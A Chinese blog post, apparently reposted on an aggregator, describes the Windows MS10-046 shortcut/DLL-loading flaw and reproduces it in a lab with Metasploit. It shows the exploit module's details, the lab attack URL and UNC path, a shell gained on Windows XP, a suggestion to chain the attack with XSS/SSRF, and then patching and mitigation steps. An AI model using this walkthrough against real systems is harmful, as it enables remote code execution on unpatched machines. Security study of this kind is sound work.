操作系统攻击:早期WindowsMS10-046漏洞

news/2024/4/29 11:10:15/文章来源:https://blog.csdn.net/shelter1234567/article/details/132001279

目录

概述

漏洞成因

利用过程

漏洞复现

漏洞修复


概述

        本次介绍早期的windows高危漏洞——MS10_046_SHORTCUT_ICON_DLLLOADER ,
该漏洞可以通过浏览器跳转网络资源的方式利用,结合xss攻击用户的系统 危险性极高。

漏洞成因

        漏洞成因: ms10_046_shortcut_icon_dllloader是Windows操作系统中的一个漏洞,其成因是在处理Windows快捷方式(.lnk)文件时存在一个安全漏洞。在处理具有特制图标资源的快捷方式时,Windows会加载并执行位于快捷方式目标路径下的DLL文件。然而,由于缺乏适当的安全检查,攻击者可以通过制作恶意的快捷方式来执行恶意的DLL文件,从而实现远程代码执行攻击。

利用过程

利用ms10_046_shortcut_icon_dllloader漏洞的方式通常包括以下步骤:

  1. 攻击者创建一个特制的快捷方式(.lnk)文件,并在其中指定一个恶意的图标资源。
  2. 攻击者通过诱骗用户执行该特制快捷方式,或者将其发送给用户并利用社会工程学手段使用户点击执行。
  3. 用户执行特制快捷方式后,Windows会试图加载快捷方式目标路径下的DLL文件,但由于缺乏安全检查,恶意DLL文件将被加载并执行。
  4. 恶意DLL文件可以执行任意的远程代码,例如下载和执行其他恶意软件、修改系统配置等。

需要注意的是,利用ms10_046_shortcut_icon_dllloader漏洞需要用户执行恶意的快捷方式,因此攻击者往往会通过社会工程学手段诱使用户执行恶意快捷方式,例如伪装成合法的文件或链接,以提高攻击成功的几率。为了防止此漏洞被利用,用户应当始终谨慎地处理来自不可信来源的快捷方式,并保持操作系统和应用程序的及时更新。

漏洞复现

打开msf 检索漏洞

 查看漏洞利用模块的详细信息

msf5 exploit(windows/browser/ms10_046_shortcut_icon_dllloader) > info

Name: Microsoft Windows Shell LNK Code Execution

Module: exploit/windows/browser/ms10_046_shortcut_icon_dllloader

Platform: Windows

Arch:

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Excellent

Disclosed: 2010-07-16

Provided by:

hdm x@hdm.io

jduck jduck@metasploit.com

B_H

Available targets:

Id Name


0 Automatic

Check supported:

No

Basic options:

Name Current Setting Required Description


SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

SRVPORT 80 yes The daemon port to listen on (do not change)

SSLCert no Path to a custom SSL certificate (default is randomly generated)

UNCHOST no The host portion of the UNC path to provide to clients (ex: 1.2.3.4).

URIPATH / yes The URI to use (do not change).

Payload information:

Space: 2048

Description:

This module exploits a vulnerability in the handling of Windows

Shortcut files (.LNK) that contain an icon resource pointing to a

malicious DLL. This module creates a WebDAV service that can be used

to run an arbitrary payload when accessed as a UNC path.

References:

CVE-2010-2568 : Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 SP2 and R2, and Windows 7 all

OSVDB (66387)

Microsoft Security Bulletin MS10-046 - Critical | Microsoft Learn

配置相关参数

其中20.1.1.5为本次测试的kali主机

 run

这个漏洞的利用方式只需 受害者访问http://20.1.1.5:80/这个页面就能实施攻击,或者使受害者访问\\20.1.1.5\DUxvYGJv\这个网络路径

可以结合xss ssrf构造一条攻击链  

 这里漏洞利用失败了 ,可能版本高的原因 因此切换为xp系统访问这个网页(注意这里我的网络变了 kali ip地址变了)

 访问后自动跳转

 又打开了资源管理器

看看kali这边的情况

已经获取了一个shell

获得了xp的shell

很难想象 当年你如果访问了一个网站,这很有可能说你的电脑就被入侵了。现如今在这个信息爆炸的时代,不敢保证之后会不会有类似的漏洞爆出。无论是针对浏览器的攻击 还是针对系统资源的攻击。

漏洞修复

如果你还在使用早期的xp系统 建议以下进行修复。

Microsoft已发布了修复该漏洞的安全补丁,用户应尽快安装最新的操作系统更新或服务包以修复此漏洞。

  1. Windows更新: 使用Windows Update功能检查并安装最新的安全更新。打开Windows Update,检查是否有可用的更新,然后安装所有的重要安全更新。

  2. 手动下载修复补丁: 如果自动更新未生效,用户可以手动下载修复补丁并安装。在Microsoft官方网站上搜索"MS10-046",找到相应的安全公告或补丁下载页面。选择适用于您的操作系统版本的修复补丁并按照Microsoft的指示进行安装。

  3. 禁用快捷方式缩略图: 一种临时的解决方法是禁用Windows Explorer中的快捷方式缩略图,这可以降低攻击风险。在文件资源管理器中,打开"文件"菜单,选择"更改文件夹和搜索选项",然后切换到"查看"选项卡。在"高级设置"部分,找到"始终显示图标,从不缩略图"选项,并选中该选项,然后点击"应用"和"确定"按钮。

  4. 维持操作系统更新: 持续监测并安装最新的操作系统更新和安全补丁,确保系统始终保持最新状态以防止其他新的漏洞利用。

  5. 谨慎打开未知源文件: 在打开不可信的文件夹或下载文件时要小心谨慎,特别是来自未知或不可信的来源。避免点击或运行来历不明的快捷方式文件,以减少受到恶意DLL加载攻击的风险。

通过以上措施,用户可以修复和防止Shortcut Icon DLL加载机制远程代码执行漏洞的利用。

事实上此漏洞时间太久了,现在的win10早已不存在这种漏洞,大家可以放心,不过还是建议大家平时多多给系统打补丁。

下节 讲一下早期针对IE的浏览器的攻击,也是直接拿shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_337395.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

17-C++ 数据结构 - 栈

📖 1.1 什么是栈 栈是一种线性数据结构,具有后进先出(Last-In-First-Out,LIFO)的特点。可以类比为装满盘子的餐桌,每次放盘子都放在最上面,取盘子时也从最上面取,因此最后放进去的盘…

maven引入本地jar包的简单方式【IDEA】【SpringBoot】

前言 想必点进来看这篇文章的各位,都是已经习惯了Maven从中央仓库或者阿里仓库直接拉取jar包进行使用。我也是🤡🤡。 前两天遇到一个工作场景,对接三方平台,结果对方就是提供的一个jar包下载链接,可给我整…

RustDesk 1.2 现已发布

RustDesk 1.2 现已发布,此版本采用 Flutter 重写桌面版本,支持 Wayland 被控。 一些值得关注的变化有: 用 Flutter 重写支持 ipv6(Beta)增加一次性密码QuickSupport (Beta)硬件编解码器 H264 /…

51单片机——串行口通信

目录 1、51单片机串口通信介绍 2、串行口相关寄存器 2.1 、串行口控制寄存器SCON和PCON 2.1.1 SCON:串行控制寄存器 (可位寻址) 2.1.2 PCON:电源控制寄存器(不可位寻址) 2.2、串行口数据缓冲寄存器SBUF 2.3、从机地址控制…

关于element ui 安装失败的问题解决方法、查看是否安装成功及如何引入

Vue2引入 执行npm i element-ui -S报错 原因:npm版本太高 报错信息: 解决办法: 使用命令: npm install --legacy-peer-deps element-ui --save 引入: 在main.js文件中引入 //引入Vue import Vue from vue; //引入…

ubuntu23.04 flush DNS caches

如何在Ubuntu 23.04中刷新DNS缓存 现在,如果你运行的是Ubuntu 23.04,"系统解决 "的方法将不再适用于你。让我们检查一下你目前的缓存大小。打开你的Ubuntu终端,运行以下command: resolvectl statistics现在&#xff0c…

Android Unit Test

一、测试基础知识 1.1 测试级别 测试金字塔(如图 2 所示)说明了应用应如何包含三类测试(即小型、中型和大型测试): 小型测试是指单元测试,用于验证应用的行为,一次验证一个类。 中型测试是指…

Spring Cloud Alibaba - Nacos源码分析(三)

目录 一、Nacos客户端服务订阅的事件机制 1、监听事件的注册 2、ServiceInfo处理 serviceInfoHolder.processServiceInfo 一、Nacos客户端服务订阅的事件机制 Nacos客户端订阅的核心流程:Nacos客户端通过一个定时任务,每6秒从注册中心获取实例列表&…

内网隧道代理技术(十四)之 Earthworm的使用(一级代理)

Earthworm的使用(一级代理) ew 全称是EarchWorm,是一套轻量便携且功能强大的网络穿透工具,基于标准C开发,具有socks5代理、端口转发和端口映射三大功能,可在复杂网络环境下完成网络穿透,且支持全平台(Windows/Linux/Mac)。该工具能够以“正向”、“反向”、“多级级联”…

51单片机双机通信

对于这个51单片机双机通信,之前无聊做的玩的,但是既然写了一篇51单片机串行口通信的博客,那就顺便出来供大家学习,希望能够帮助到一些刚刚接触51单片机的朋友。废话不多讲,直接上正题。 1、实习任务 1.1 任务目的 通…

oCPC实践录 | oCPC下机制设计变得毫无意义?(2)无声的战争

接上回oCPC实践录 | oCPC下机制设计变得毫无意义?(1)事出异常必有妖,互联网广告最开始采用的广义第一价格密封拍卖(GFP),对广告主而言,需要不断感知竞争对手的变化,修改报价&#xf…

Power BI-网关设置与云端报表定时刷新(一)

网关的工作原理 网关是将本地数据传输至云端的桥梁,不仅Power BI能使用,其他微软软件也能够使用。 我们发布在云上的报表,发布后是静态的,不会自动刷新。需要通过网关设置定时刷新。 安装与设置 1.登录到Powerbi 在线服务–设置…

组合模式——树形结构的处理

1、简介 1.1、概述 树形结构在软件中随处可见,例如操作系统中的目录结构、应用软件中的菜单、办公系统中的公司组织结构等。如何运用面向对象的方式来处理这种树形结构是组合模式需要解决的问题。组合模式通过一种巧妙的设计方案使得用户可以一致性地处理整个树形…

Windows下Nginx安装与配置教程

一、前言 1、Nginx是什么? Nginx是一个开源的Web服务器,同时Nginx也提供了反向代理和负载均衡的功能。 Nginx通常作为负载均衡器暴露在外网接受用户请求,同时也使用其反向代理的功能,将用户的请求转发到实际提供服务的内网服务器…

Windows 11 下 OpenFace 2.2.0 的安装

写在前面 最近需要做关于面部的东西,所以需要使用到OpenFace这个工具,本文仅用来记录本人安装过程以供后续复现,如果可以帮助到读者也是非常荣幸。 安装过程 不编译直接使用 这种方法可以直接从官方下载下来编译好的exe以及gui进行使用&a…

移动端适配rem

1.安装amfe-flexible和postcss-pxtorem, npm install amfe-flexible --save npm install postcss-pxtorem5.1.1 (这里我使用的postcss-pxtorem是5.1.1版本)或者在pageage.json中写入 "amfe-flexible": "^2.2.1","postcss-pxtorem": …

一个 SpringBoot 项目能处理多少请求

首先,这个问题有坑,因为 spring boot 不处理请求,只是把现有的开源组件打包后进行了版本适配、预定义了一些开源组件的配置通过代码的方式进行自动装配进行简化开发。这是 spring boot 的价值。 如果我是面试官,我不会问这种问题。…

带wiringPi库的交叉编译 ---宿主机x86Ubuntu,目标机ARMv8 aarch64(香橙派)

带wiringPi库的交叉编译如何进行 先交叉编译wiringPi库,编译出的库适合香橙派,这时候交叉编译可执行程序的平台和链接库的格式也是正确的,然后通过-I和-L来指定链接的wiringPi库的头文件和库的位置,但是现在还没有学习过&#xf…

如何有效地使用ChatGPT写小说讲故事?

​构思故事情节,虽有趣但耗时,容易陷入写作瓶颈。ChatGPT可提供灵感,帮你解决写作难题。要写出引人入胜的故事,关键在于抓住八个要素——主题、人物、视角、背景、情节、语气、冲突和解决办法。 直接给出故事模板,你可…